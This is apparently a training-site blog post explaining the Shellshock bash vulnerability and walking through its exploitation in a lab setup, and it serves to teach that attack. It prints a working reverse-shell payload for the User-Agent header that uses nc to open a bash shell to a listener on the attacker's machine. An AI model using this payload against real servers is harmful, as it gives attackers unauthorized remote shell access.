Home 0P3N Blog ShellShock: All You Need to Know About the Bash Bug Vulnerability
Ready to Start Your Career?
Create Free Account
By: Ankit2812
March 27, 2018

ShellShock: All You Need to Know About the Bash Bug Vulnerability

By: Ankit2812
March 27, 2018
By: Ankit2812
March 27, 2018

Shellshock is basically Remote Command Execution vulnerability in BASH also known as Bashdoor.

In this vulnerability, BASH incorrectly executes trailing commands when it imports a function definition stored into an environment variable.

Bash allows exporting shell functions to other bash instances. It is done by creating an environment variable with the function definition.

v  Affected bash versions:

All versions of Bash up to and including version 4.3 are vulnerable.  To be sure, check with your *nix vendor’s website for specific patched versions.

Check Bash version using command: bash --version.

v  Specific exploitation vectors:

1.    CGI-based web server

2.    OpenSSH server

3.    DHCP clients

4.    Qmail server

5.    IBM HMC restricted shell

v  Exploit example

ü  Remote Machine: 192.168.20.54 (CGI based web-server which is vulnerable to shellshock)

Available at: https://isos.pentesterlab.com/cve-2014-6271.iso

ü  Local Machine     : 192.168.20.56 (Kali-Linux machine which we use for exploit remote server)

Step 1: Using “gobuster”, identified that web-server uses the Common Gateway Interface (CGI) to handle a document request.

CGI based web-server copies certain information like User-agents from the request into the environment variable list and then delegates the request to a handler program.

Step 2: Using “Burp suite”, capture the request of accessing /cgi-bin/status files and sent it to burp suite’s repeater tab.

 

Step 3: Now in the repeater tab, sent the request and not down the response of the server.

Step 4: Now using NC command, on our local machine (local machine IP: 192.168.20.59) start listening the port 5454. So if remote machine get exploited successfully it will make connection to port 5454.

Step 5: Now to exploit shellshock vulnerability, we will replace the “User-Agent:” contents with shellshock payload like “() { : ; }; /usr/bin/nc 192.168.20.59 5454 -e /bin/bash.

On successful exploitation arbitrary OS command nc  192.168.20.59  5454  of shellshock payload will get executed and create connection to our local machine on port 5454 and will get the shell access to the remote machine.

Step 6: As our payload successfully exploited on remote server we got the connection on out local machine where we are listening on port 5454 from remote machine (IP: 192.168.20.54).

Step 6: Now we will try to get interactive shell on Remote exploited machine and can enumerate further.

Request Demo

Build your Cybersecurity or IT Career

Accelerate in your role, earn new certifications, and develop cutting-edge skills using the fastest growing catalog in the industry